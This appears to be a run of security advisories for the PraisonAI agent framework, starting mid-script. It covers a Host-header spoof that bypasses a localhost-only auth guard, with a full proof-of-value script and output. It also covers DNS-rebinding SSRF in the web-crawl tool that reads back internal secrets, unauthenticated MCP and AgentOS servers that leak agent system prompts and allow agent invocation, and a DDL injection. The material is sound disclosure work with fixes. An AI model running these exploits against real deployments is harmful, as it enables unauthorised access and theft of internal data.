ownerlabels = ( ownerlabellistafterpatch.json() if ownerlabellistafterpatch.statuscode == 200 else [] ) ownerobservedlabel = ownerlabels[0] if ownerlabels else {} checks = { "initialownerissuelabels": initialissuelabels, "memberdirectlabeldelete": memberdeletelabel.statuscode, "memberpatchlabel": memberpatchlabel.statuscode, "ownerobservedlabelnameaftermemberpatch": ownerobservedlabel.get("name"), "ownerobservedlabelcoloraftermemberpatch": ownerobservedlabel.get("color"), "memberremovelabelfromownerissue": memberremovefromownerissue.statuscode, "ownerissuelabelsaftermemberremove": labelsaftermemberremove, "memberaddlabeltoownerissue": memberaddbacktoownerissue.statuscode, "ownerissuelabelsaftermemberadd": labelsaftermemberadd, "nonmemberpatchlabel": outsiderpatchlabel.statuscode, "nonmemberaddlabeltoissue": outsideraddtoissue.statuscode, "ownerdeletelabel": ownerdeletelabel.statuscode, } vulnerable = ( checks["initialownerissuelabels"] == ["Owner triage"] and checks["memberdirectlabeldelete"] == 403 and checks["memberpatchlabel"] == 200 and checks["ownerobservedlabelnameaftermemberpatch"] == "Member-controlled triage" and checks["ownerobservedlabelcoloraftermemberpatch"] == "#000000" and checks["memberremovelabelfromownerissue"] == 204 and checks["ownerissuelabelsaftermemberremove"] == [] and checks["memberaddlabeltoownerissue"] == 204 and checks["ownerissuelabelsaftermemberadd"] == ["Member-controlled triage"] and checks["nonmemberpatchlabel"] == 403 and checks["nonmemberaddlabeltoissue"] == 403 and checks["ownerdeletelabel"] == 204 ) return { "package": "praisonai-platform", "source": sourceid(repo), "workspacerole": "member", "summary": ( "A workspace member can rewrite shared label taxonomy and add/remove labels " "on an owner-created issue even though direct label deletion is owner/admin-only." ), "issueid": ownerissueid, "labelid": labelid, "checks": checks, "vulnerable": vulnerable, }
def sourceid(repo: Path | None) -> str: if repo is None: import importlib.metadata
return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}" rev = subprocess.checkoutput( ["git", "-C", str(repo), "rev-parse", "HEAD"], text=True, ).strip() return f"git:{rev}"
def main() -> int: parser = argparse.ArgumentParser() parser.addargument("--repo", type=Path) parser.addargument("--json", action="storetrue") args = parser.parseargs()
result = asyncio.run(run(args.repo.resolve() if args.repo else None)) if args.json: print(json.dumps(result, indent=2, sortkeys=True)) else: for key, value in result["checks"].items(): print(f"{key}: {value}") print(f"vulnerable: {result['vulnerable']}") return 0 if result["vulnerable"] else 1
if name == "main": raise SystemExit(main())
Call API localhost-only authentication bypass via spoofed Host header
Summary
PraisonAI's patched PRAISONAICALLAUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.
Technical Details
The affected code is src/praisonai/praisonai/api/agentinvoke.py. verifytoken() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agentid}/invoke. Current code no longer unconditionally skips authentication when PRAISONAICALLAUTH=disabled; it tries to allow that opt-out only for localhost binding:
python LOCALHOSTHOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})
def bindhostfromrequest(request: Request) -> str: host = getattr(getattr(request, 'url', None), 'hostname', None) return host or os.getenv('PRAISONAICALLBINDHOST', '127.0.0.1')
async def verifytoken(request: Request, authorization: Optional[str] = Header(None)) -> None: if callauthdisabled(): bindhost = bindhostfromrequest(request) if bindhost not in LOCALHOSTHOSTS: raise HTTPException( statuscode=503, detail="PRAISONAICALLAUTH=disabled is only permitted for localhost binding", ) return
The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.
The protected sink is agent execution. After verifytoken() returns, invokeagent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agentinvoke, includes agentinvoke.router, and registers YAML agents into the same registry.
This is not a default-configuration exposure claim. The deployment must enable PRAISONAICALLAUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.
PoV
the PoV builds an in-process FastAPI app with the real agentinvoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.
python disabledclient = TestClient(app, baseurl="http://external.example")
externalhost = disabledclient.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofedlocalhostlist = disabledclient.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofedlocalhostinvoke = disabledclient.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, )
Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.
The complete PoV script is in Appendix A.
PoC
Run from a PraisonAI checkout with the Appendix A script saved as povcallauthhostspoof.py:
bash git checkout v4.6.62 uv run --with fastapi --with httpx python povcallauthhostspoof.py .
Observed v4.6.62 output:
json { "disabledauthexternalhoststatus": 503, "disabledauthspoofedlocalhostinvokestatus": 200, "disabledauthspoofedlocalhostliststatus": 200, "failclosedwithouttokenstatus": 503, "repohead": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofedlocalhostinvokebody": { "metadata": { "agentid": "pov-agent", "messagelength": 18, "responselength": 33 }, "result": "stub-agent-ran:host-header-bypass", "sessionid": "default", "status": "success" }, "stubagentcalls": [ "host-header-bypass" ], "vulnerable": true }
Run the same script against current main:
bash git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python povcallauthhostspoof.py .
Observed current-head output:
json { "disabledauthexternalhoststatus": 503, "disabledauthspoofedlocalhostinvokestatus": 200, "disabledauthspoofedlocalhostliststatus": 200, "failclosedwithouttokenstatus": 503, "repohead": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofedlocalhostinvokebody": { "metadata": { "agentid": "pov-agent", "messagelength": 18, "responselength": 33 }, "result": "stub-agent-ran:host-header-bypass", "sessionid": "default", "status": "success" }, "stubagentcalls": [ "host-header-bypass" ], "vulnerable": true }
The negative controls are the first two status fields. With default authentication and no token, the API fails closed with 503. With PRAISONAICALLAUTH=disabled, an ordinary external Host is also rejected with 503. Only the spoofed localhost Host passes the guard and reaches agent execution.
Impact
An unauthenticated caller who can reach a PraisonAI call/serve API with PRAISONAICALLAUTH=disabled can bypass the intended localhost-only restriction by setting Host: 127.0.0.1. The PoV demonstrates both agent listing and direct invocation of a registered agent through /api/v1/agents/{agentid}/invoke.
Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted /api/v1/agents API family.
Suggested CWE: CWE-287 Improper Authentication and CWE-346 Origin Validation Error, with CWE-306 Missing Authentication for Critical Function also applicable to the bypassed protected action.
Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.
Suggested Fix
Do not derive bind safety from Request.url, the HTTP Host header, or any request-header-derived value. If PRAISONAICALLAUTH=disabled remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.
Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to 127.0.0.1, localhost, or ::1.
Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where PRAISONAICALLAUTH=disabled, the modeled server configuration is non-loopback, and the request sends Host: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.
Affected Package/Versions
Affected package: praisonai on PyPI.
Confirmed affected:
- v4.6.62 at 2a855c470077c7d2e2479a575f7ef7f548d51c33 - current main at 846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting 4.6.62
v4.6.60 had the older unconditional PRAISONAICALLAUTH=disabled bypass and is covered by a different public advisory. This report is for the patched guard shape present in v4.6.62 and current main. If v4.6.61 contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.
Fixed version: unknown.
Advisory History
I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:
- GHSA-86qc-r5v2-v6x6: call server unauthenticated agent listing/invocation/deletion when CALLSERVERTOKEN is unset in older releases. Current code fails closed when no token is configured; this report requires the patched PRAISONAICALLAUTH=disabled localhost guard and a spoofed Host header. - GHSA-8ccj-p46r-jwqq: PRAISONAICALLAUTH=disabled unconditionally disabled authentication in older releases and is listed as patched in >= 4.6.61. This report shows v4.6.62 and current main are still bypassable through the new guard because the guard trusts request.url.hostname. - GHSA-vmf9-xx9w-86wx: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through praisonaiagents.mcp.ToolsMCPServer.runsse(), /sse, and /messages/. That advisory affects praisonaiagents >= 0.6.0, < 1.6.58 and praisonai >= 3.10.0, < 4.6.58, with patches listed as praisonaiagents >= 1.6.59 and praisonai >= 4.6.59. This report targets a different package call path in praisonai.api.agentinvoke.verifytoken() and /api/v1/agents/{agentid}/invoke, confirmed in praisonai v4.6.62 and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires PRAISONAICALLAUTH=disabled on the call/n8n agent API and bypasses its localhost-only opt-out guard with Host: 127.0.0.1; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved. - GHSA-x8cv-xmq7-p8xp: AgentTeam.launch() unauthenticated API. That advisory covers praisonaiagents AgentTeam.launch() routes, not praisonai.api.agentinvoke.verifytoken(). - GHSA-5qw8-f2g9-ff29: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.
No advisory I found describes Host-header spoofing against the patched PRAISONAICALLAUTH=disabled localhost guard in praisonai.api.agentinvoke.
References
- src/praisonai/praisonai/api/agentinvoke.py - src/praisonai/praisonai/cli/features/serve.py - GHSA-86qc-r5v2-v6x6: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6 - GHSA-8ccj-p46r-jwqq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqq - GHSA-vmf9-xx9w-86wx: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wx - GHSA-x8cv-xmq7-p8xp: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp - GHSA-5qw8-f2g9-ff29: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29
Appendix A - Full PoV Script
python #!/usr/bin/env python3 """PoV for PraisonAI call API Host-header localhost guard bypass."""
from future import annotations
import importlib import json import os import sys from pathlib import Path from typing import Any
def reporoot() -> Path: if len(sys.argv) == 2: return Path(sys.argv[1]).resolve() return Path.cwd().resolve()
def loadagentinvoke(reporoot: Path, authdisabled: bool): os.environ.pop("CALLSERVERTOKEN", None) if authdisabled: os.environ["PRAISONAICALLAUTH"] = "disabled" else: os.environ.pop("PRAISONAICALLAUTH", None)
packageroot = reporoot / "src" / "praisonai" if not packageroot.exists(): raise SystemExit(f"missing PraisonAI package root: {packageroot}") packageroots = str(packageroot) if packageroots not in sys.path: sys.path.insert(0, packageroots)
import praisonai.api.agentinvoke as agentinvoke
agentinvoke = importlib.reload(agentinvoke) agentinvoke.agentregistry.clear() return agentinvoke
class StubAgent: def init(self) -> None: self.calls: list[str] = []
def start(self, message: str) -> str: self.calls.append(message) return f"stub-agent-ran:{message}"
def makeclient(agentinvoke: Any): from fastapi import FastAPI from fastapi.testclient import TestClient
app = FastAPI() app.includerouter(agentinvoke.router) return TestClient(app, baseurl="http://external.example")
def main() -> int: reporoot = reporoot()
failclosedmod = loadagentinvoke(reporoot, authdisabled=False) failclosedclient = makeclient(failclosedmod) failclosed = failclosedclient.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, )
disabledmod = loadagentinvoke(reporoot, authdisabled=True) agent = StubAgent() disabledmod.registeragent("pov-agent", agent) disabledclient = makeclient(disabledmod)
externalhost = disabledclient.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofedlocalhostlist = disabledclient.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofedlocalhostinvoke = disabledclient.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, )
result = { "repohead": git(reporoot, "rev-parse", "HEAD"), "failclosedwithouttokenstatus": failclosed.statuscode, "disabledauthexternalhoststatus": externalhost.statuscode, "disabledauthspoofedlocalhostliststatus": spoofedlocalhostlist.statuscode, "disabledauthspoofedlocalhostinvokestatus": spoofedlocalhostinvoke.statuscode, "spoofedlocalhostinvokebody": safejson(spoofedlocalhostinvoke), "stubagentcalls": agent.calls, }
expected = ( failclosed.statuscode == 503 and externalhost.statuscode == 503 and spoofedlocalhostlist.statuscode == 200 and spoofedlocalhostinvoke.statuscode == 200 and agent.calls == ["host-header-bypass"] ) result["vulnerable"] = expected print(json.dumps(result, indent=2, sortkeys=True)) return 0 if expected else 1
def safejson(response: Any) -> Any: try: return response.json() except Exception: return response.text
def git(reporoot: Path, args: str) -> str: import subprocess
return subprocess.checkoutput( ["git", "-C", str(reporoot), args], text=True, stderr=subprocess.DEVNULL, ).strip()
if name == "main": raise SystemExit(main())
Summary
PraisonAI's webcrawl agent tool performs a server-side HTTP fetch of an agent/attacker-influenced URL. SSRF is meant to be prevented by issafecrawlurl(), which resolves the hostname and rejects private/loopback/link-local IPs at validation time. The validated value is the URL string (not a pinned IP); the fetch backend then re-resolves the hostname at connection time. Because validation and connection perform two independent DNS resolutions, a DNS-rebinding domain that returns a public IP during validation and an internal IP during the fetch fully bypasses the guard, and the internal HTTP response body is returned to the caller.
This is SSRF with internal response disclosure (read-back) — not blind SSRF. Runtime-confirmed against PraisonAI 4.6.63; the crawl response returned the controlled internal markers PRAISONAIINTERNALSECRETCANARY7f3a91 / FAKEINTERNALTOKENDONOTUSE7f3a91. Severity High. Reachable by any actor who can influence the URL an agent crawls (e.g. a chat/bot/agent surface).
Details
Affected component - Package: praisonaiagents (PraisonAI), version 4.6.63. - File: src/praisonai-agents/praisonaiagents/tools/webcrawltools.py; tool webcrawl / crawlweb (part of the default bot tool set).
Vulnerable code / root cause
Code point 1 — check-time-only DNS validation, no IP pinning
Path: src/praisonai-agents/praisonaiagents/tools/webcrawltools.py
Function: issafecrawlurl
Snippet: python for info in socket.getaddrinfo(hostname, None): # resolve at CHECK time ip = ipaddress.ipaddress(info[4][0]) if (ip.isloopback or ip.isprivate or ip.islinklocal or ip.ismulticast or ip.isunspecified): return False return True Issue: the guard validates the hostname by resolving it once at check time. It does not pin the resolved IP and does not return/forward that IP to the HTTP client. Any later resolution can differ.
Code point 2 — guard runs, then the URL string is handed to the backend
Function: webcrawl
Snippet: python for u in rawurllist: if issafecrawlurl(u): # validate the URL string urllist.append(u) ... results = crawlwithhttpx(urllist) # or crawlwithcrawl4ai(urllist) Issue: attacker-controlled input (urls) is validated as a string; the backend then fetches that string and re-resolves DNS independently of the guard. There is no shared, pinned IP between check and fetch.
Code point 3 — crawlwithhttpx backend re-resolves (redirect re-validation does not stop rebinding)
Function: crawlwithhttpx
Snippet: python with httpx.Client(followredirects=False, timeout=30.0) as client: for in range(maxredirects + 1): if not issafecrawlurl(current): # re-resolves hostname (CHECK) raise ValueError("Redirect target failed SSRF validation") response = client.get(current) # resolves AGAIN at CONNECT Issue: even with per-hop redirect re-validation, issafecrawlurl(current) and client.get(current) are two separate DNS resolutions of the same hostname. A rebinding domain answers public to the check and internal to the connect → TOCTOU bypass. No IP pinning.
Code point 4 — urllib fallback (same function), no per-hop guard
Snippet: python import urllib.request with urllib.request.urlopen(url, timeout=30) as response: # re-resolves + auto-follows redirects content = response.read().decode('utf-8', errors='ignore') Issue: when httpx is not installed, this fallback inside crawlwithhttpx fetches the URL and auto-follows redirects with no per-hop/per-connect validation. (Results from this function are labelled "provider": "httpx" regardless of which path runs.)
Code point 5 — crawl4ai/Chromium backend (confirmed addendum)
The crawl4ai backend (crawlwithcrawl4ai → crawler.arun(url=url), headless Chromium) is also runtime-confirmed affected (browser re-resolves DNS / follows redirects with no per-connect guard). To keep this report focused on the webcrawl SSRF guard, the backend-specific evidence is in SSRF-04Crawl4AISSRFBackendAddendum.md.
Attack flow 1. Attacker controls a hostname (e.g. rebind.lab) whose authoritative DNS rebinds. 2. Lookup #1 (the guard) → a public IP → issafecrawlurl() returns true. 3. The backend re-resolves → the attacker's DNS now answers an internal/private IP (cloud metadata, loopback, internal service). 4. The backend connects to the internal service and returns its body to the caller → internal data disclosure.
Why existing protection is bypassed - The guard validates the hostname, not a pinned IP; check and connect resolve independently → DNS rebinding (TOCTOU) defeats it on every backend. - Redirect re-validation (httpx path) re-checks the hostname but still re-resolves at connect, so it does not stop rebinding; the urllib fallback and crawl4ai backends have no per-hop guard at all.
Security boundary The server-side fetch reaches internal/loopback/metadata services not exposed to the attacker and returns their content (CVSS Scope: Changed). Reachable wherever an agent can be induced to crawl an attacker-supplied URL (PR:L). An unauthenticated single-request path to webcrawl read-back was not found in 4.6.63 (so PR:N / Critical is not claimed).
Proof of Concept
Environment Real PraisonAI 4.6.63 in a local Docker runtime; a controlled internal canary service (Docker-internal only, not published) returns synthetic markers; a controlled DNS responder implements rebinding for rebind.lab. No public host / real metadata / real secret. Runnable assets: PraisonAI-Runtime-Repro\runtime-files\.
Steps to reproduce 1. Burp Repeater tab PRAI-05-01-DNS-Rebind-Trigger → 127.0.0.1:18080: http POST /tool/webcrawl HTTP/1.1 Host: 127.0.0.1:18080 Content-Type: application/json
{"url":"http://rebind.lab:8081/secret"} 2. Send (PRAI-05-02-DNS-Rebind-Secret-Readback captures the response). If a send returns the "blocked" error, the rebinding DNS auto-resets (~3s) — resend. 3. Redirect variant: PRAI-05-03-Redirect-Trigger / PRAI-05-04-Redirect-Secret-Readback send {"url":"http://redirector:8082/redirect-to-internal"}.
Expected result A safe SSRF guard refuses destinations that resolve to internal/private IPs regardless of DNS timing or redirects, and does not return internal content.
Actual result HTTP 200 with the internal body in the crawl result. Primary evidence is the provider: "httpx" backend returning the internal canary via DNS rebinding: json {"inputurl":"http://rebind.lab:8081/secret", "result":{"content":"{ ... \"secret\": \"PRAISONAIINTERNALSECRETCANARY7f3a91\", \"token\": \"FAKEINTERNALTOKENDONOTUSE7f3a91\" ... }","provider":"httpx"}} The redirect variant returns the same internal markers via a redirect chain (provider: "httpx").
Screenshots
DNS rebinding read-back
The attacker-controlled rebind.lab URL is accepted by webcrawl, and the PraisonAI response contains the internal canary response body.
<img width="1543" height="785" alt="01-DNS-Rebind-Burp-Readback" src="https://github.com/user-attachments/assets/e86e95dd-3d3a-4bef-b1c6-cb897234a212" />
DNS rebinding runtime evidence
The runtime log shows rebind.lab first resolving to an allowed/public IP during validation (guard-pass), then resolving to an internal Docker IP during the actual fetch (fetch-hit). The internal canary receives GET /secret from the PraisonAI container.
<img width="1654" height="828" alt="02-DNS-Rebind-DNS-Log-And-Internal-Hit" src="https://github.com/user-attachments/assets/f1d28046-de34-48f0-9bee-bbe26e598d5f" />
Redirect-based SSRF read-back
The attacker-controlled redirector URL is accepted by webcrawl. PraisonAI follows the redirect and returns the internal canary response body containing PRAISONAIINTERNALSECRETCANARY7f3a91.
<img width="1540" height="772" alt="03-Redirect-Burp-Readback" src="https://github.com/user-attachments/assets/79eec159-4b9f-44be-a9eb-b15aba35ead8" />
Redirect chain runtime evidence
The controlled redirector returns 302 -> http://internal-canary:8081/secret, and the internal canary receives GET /secret, confirming that the server-side client followed the redirect into the internal network.
<img width="1637" height="894" alt="04-Redirect-Internal-Hit-Log" src="https://github.com/user-attachments/assets/1c503e30-9d01-4d32-8658-497f755a969e" />
Reproduction assets
The attached archive contains the local Docker runtime used to reproduce the issue with controlled canary services only. It does not contain real secrets, real cloud metadata access, or third-party API keys.
PraisonAI-Runtime-Repro.zip
Impact SSRF against internal/loopback/cloud-metadata endpoints with disclosure of internal HTTP responses (read-back) to the attacker. Bypasses the project's SSRF protection on every fetch backend.
Suggested remediation 1. Resolve the host once, reject all returned records that are private/loopback/link-local/ULA/CGNAT/metadata, then connect to that exact validated IP (pin it; send the original Host). Do not let the HTTP client / browser re-resolve. 2. Apply the same validation + IP pinning to every backend (httpx, urllib fallback, crawl4ai) and every redirect hop. 3. Disable automatic redirect following (or cap + re-validate each hop with pinning). 4. Treat IPv4-mapped IPv6, decimal/octal/hex IPs, and CGNAT/non-global ranges as unsafe.
Summary
PraisonAI's MCP HTTP-stream server authenticates requests only when an API key is configured; the CLI defaults --api-key to None, so praisonai mcp serve --transport http-stream exposes the full MCP surface unauthenticated. A request with no Authorization (and no Origin) can initialize and tools/list (~50 tools), and the dispatcher forwards tool-call arguments to handlers without validating them against the advertised inputSchema. Runtime-confirmed for unauthenticated initialize/tools/list and the dispatcher schema-bypass. This is not an RCE/file-read in 4.6.63 — workflow.run/workflow.runfile are runtime-refuted (adapter regression). Severity Medium–High.
Details
Affected component - Package: praisonai 4.6.63. Files: src/praisonai/praisonai/mcpserver/transports/httpstream.py, mcpserver/cli.py, mcpserver/server.py (dispatcher).
Vulnerable code / root cause
Path: src/praisonai/praisonai/mcpserver/transports/httpstream.py
Function: mcppost / validateorigin
Snippet: python if self.apikey: # auth applied ONLY when apikey is set authheader = request.headers.get("Authorization", "") if not authheader.startswith("Bearer ") or authheader[7:] != self.apikey: return JSONResponse({"error": "Unauthorized"}, statuscode=401) validateorigin: returns True when the Origin header is absent Issue: with apikey=None, no auth check runs; a missing Origin header is allowed, so non-browser clients (curl/Burp) are not blocked.
Path: src/praisonai/praisonai/mcpserver/cli.py
Function: cmdserve (argparse)
Snippet: python parser.addargument("--api-key", default=None) # unauthenticated by default
Path: src/praisonai/praisonai/mcpserver/server.py
Function: handletoolscall
Snippet: python result = await tool.handler(arguments) # arguments forwarded without inputSchema validation Issue: attacker-controlled arguments are passed straight to the handler; the dispatcher does not validate them against the tool's advertised inputSchema. The only thing rejecting undeclared keys is the handler's own Python signature.
Attack flow 1. Operator runs praisonai mcp serve --transport http-stream (no --api-key). 2. Attacker (no auth, no Origin) sends initialize → session; tools/list → enumerates ~50 tools; tools/call → arguments pass through unvalidated.
Why existing protection is bypassed Auth is opt-in (only added when an api key is set); missing Origin is allowed; the dispatcher does not enforce inputSchema.
Security boundary Unauthenticated access to the MCP tool surface. Default bind 127.0.0.1 (any local process / multi-user host; remote only if --host 0.0.0.0).
Scope limits (do not overclaim) - praisonai.workflow.run / workflow.runfile are runtime-refuted in 4.6.63: the adapter calls AgentsGenerator(...) missing the required configlist argument → errors before any execution/file open. Several other tool adapters also error at runtime. No unauthenticated RCE/arbitrary-file-open via these tools at HEAD. - MCP knowledge.add file read is broken (see FT-01KnowledgeFileReadNegativeReport.md).
Proof of Concept
Environment Real MCP HTTP-stream server (apikey=None) in a local runtime (127.0.0.1:18090). Runnable assets: PraisonAI-Runtime-Repro\runtime-files\ (docker-compose.mcp.yml). MCP requests use Accept: application/json + header Mcp-Session-Id.
Steps to reproduce 1. MCP-Initialize: POST /mcp initialize (no Authorization) → 200 + mcp-session-id. 2. MCP-Tools-List-NoAuth: POST /mcp tools/list with that session id → 200 + ~50 tools. 3. MCP-Schema-Bypass: tools/call with an undeclared extra argument (undeclaredevilparam).
Expected result The transport requires authentication; the dispatcher validates arguments against inputSchema.
Actual result - initialize/tools/list succeed with no auth and no Origin header. - The undeclared argument reaches the handler (got an unexpected keyword argument 'undeclaredevilparam'), proving no schema validation at the dispatcher.
Screenshots <img width="1544" height="798" alt="03-MCP-Schema-Bypass" src="https://github.com/user-attachments/assets/5a4cb764-9428-487d-b4e0-2854cbda7fb7" /> <img width="1538" height="793" alt="02-MCP-Tools-List-NoAuth" src="https://github.com/user-attachments/assets/6356af71-867f-4fbc-a994-c7ca338fd2aa" />
Screenshots
Unauthenticated MCP initialize
A POST request to /mcp with method initialize succeeds without an Authorization header. The server returns HTTP 200 OK, exposes MCP capabilities, and issues an mcp-session-id to the unauthenticated client.
<img width="1546" height="804" alt="01-MCP-Initialize-NoAuth" src="https://github.com/user-attachments/assets/2a62ee6b-99d3-4a38-a752-bfe6165c8c04" />
Unauthenticated MCP tools/list
After initialization, the same unauthenticated MCP session can call tools/list using only the issued Mcp-Session-Id. The server returns HTTP 200 OK and exposes tool names, schemas, and annotations.
<img width="1538" height="793" alt="02-MCP-Tools-List-NoAuth" src="https://github.com/user-attachments/assets/f55189ff-13aa-4c36-a617-3d2ee4a52a84" />
MCP tool-call schema bypass
The unauthenticated MCP client calls tools/call with an extra argument not declared in the tool schema. Instead of rejecting the schema-violating input at the dispatcher layer, the unexpected parameter reaches the Python handler and causes an unexpected keyword argument error. This confirms incomplete input-schema enforcement for tool calls.
<img width="1544" height="798" alt="03-MCP-Schema-Bypass" src="https://github.com/user-attachments/assets/d3f36e50-2363-4eb2-8b3c-985ff0e27f6e" />
Impact Unauthenticated tool enumeration and tool-call surface; LLM-key/cost abuse and data access via whichever tools function (impact currently limited by several broken adapters and the default loopback bind). No confirmed unauthenticated RCE/file-read in 4.6.63.
Summary
The AgentOS server in the praisonai TypeScript/npm package ships an insecure default: it binds 0.0.0.0, sets no API key, and uses CORS with credentials. The API-key middleware is only registered when an API key is configured, so the documented quickstart (new AgentOS({agents:[...]}).serve({port})) exposes, unauthenticated, GET /api/agents (which leaks agent names/roles/instructions, i.e. system prompts) and POST /api/chat (which invokes agents). Any network peer can read agent system prompts and drive the agent. Runtime-confirmed; severity High.
Details
Affected component - Package: praisonai (npm / TypeScript). Files src/praisonai-ts/src/os/config.ts and src/praisonai-ts/src/os/agentos.ts (AgentOS).
Vulnerable code / root cause
Path: src/praisonai-ts/src/os/config.ts
Class/const: DEFAULTAGENTOSCONFIG / mergeConfig
Snippet: ts export const DEFAULTAGENTOSCONFIG = { host: '0.0.0.0', corsOrigins: [''], apiKey: '', // ... }; // mergeConfig: apiKey = userConfig?.apiKey ?? process.env.PRAISONAIAGENTOSAPIKEY ?? ''; Issue: defaults bind all interfaces, with an empty API key and wildcard CORS. apiKey stays empty unless the developer explicitly sets it.
Path: src/praisonai-ts/src/os/agentos.ts
Function: serve / registerRoutes (Express app)
Snippet: ts if (this.config.apiKey) { // auth middleware ONLY added when apiKey is set app.use((req,res,next) => { / 401 unless Bearer/x-auth-token matches / }); } // routes: app.get(${apiPrefix}/agents, ...) // returns name/role/instructions app.post(${apiPrefix}/chat, ...) // calls agent.chat(message) Issue: the only auth gate is conditional on a non-empty apiKey. With the default empty key, no auth middleware is registered, and GET /api/agents (system-prompt disclosure) and POST /api/chat (agent invocation) are served to any network client. CORS sets Access-Control-Allow-Credentials: true with a wildcard origin.
Attack flow 1. Developer deploys AgentOS via the quickstart without setting apiKey/PRAISONAIAGENTOSAPIKEY. 2. Any network peer calls GET /api/agents → receives agent instructions/system prompts. 3. Any network peer calls POST /api/chat → invokes the agent.
Why existing protection is bypassed There is no protection in the default config — the auth gate is skipped when apiKey is empty (the default), and the server binds all interfaces.
Security boundary Unauthenticated network access to agent metadata + invocation. This is the CVE-2026-44338 anti-pattern recurring in the TS package, and worse (0.0.0.0 is the default).
Proof of Concept
Environment Real AgentOS from src/praisonai-ts run via ts-node in a node container with default config (stub agent, no LLM needed). 127.0.0.1:18000. Runnable assets: PraisonAI-Runtime-Repro\runtime-files\ (docker-compose.agentos.yml).
Steps to reproduce 1. PRAI-01-01-AgentOS-Agents-NoAuth: GET /api/agents (no Authorization) → 127.0.0.1:18000. 2. PRAI-01-02-AgentOS-Chat-NoAuth: POST /api/chat {"message":"hello from attacker"} (no Authorization).
Expected result Non-loopback exposure should require authentication; agent instructions should not be disclosed unauthenticated.
Actual result - GET /api/agents → 200, leaks "instructions":"SYSTEM PROMPT SECRET ... PRAISONAIINTERNALSECRETCANARY7f3a91"; response header Access-Control-Allow-Credentials: true. - POST /api/chat → 200, agent invoked ("response":"...PRAISONAIAGENTOSCANARY7f3a91...").
Screenshots
Unauthenticated /api/agents leaks agent instructions
A GET request to /api/agents succeeds without an Authorization header. The response exposes agent metadata and instructions, including the canary system-prompt value.
<img width="1535" height="829" alt="01-AgentOS-Agents-NoAuth" src="https://github.com/user-attachments/assets/705087e1-8017-46f6-9a91-edb8312e2f26" />
Unauthenticated /api/chat invokes the agent
A POST request to /api/chat succeeds without an Authorization header. The response confirms that the attacker-controlled message was processed by the configured agent.
<img width="1537" height="833" alt="02-AgentOS-Chat-NoAuth" src="https://github.com/user-attachments/assets/5cdf8f56-b8d8-498b-87bd-44834f39998c" />
Reproduction assets
The attached archive contains the local Docker runtime used to reproduce the issue with controlled canary values only. It does not contain real secrets, third-party API keys, or production credentials.
PraisonAI-Runtime-Repro.zip
Impact Unauthenticated disclosure of agent configuration/system prompts; unauthenticated agent invocation; LLM cost abuse; possible tool abuse depending on the configured agent's tools; permissive CORS-with-credentials.
Suggested remediation - Default host to 127.0.0.1; require apiKey (fail closed) when binding non-loopback. - Do not default corsOrigins to [''], especially with Access-Control-Allow-Credentials: true. - Do not return full instructions on an unauthenticated endpoint.
PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL
Summary
The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled dimension argument directly into CREATE TABLE vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.
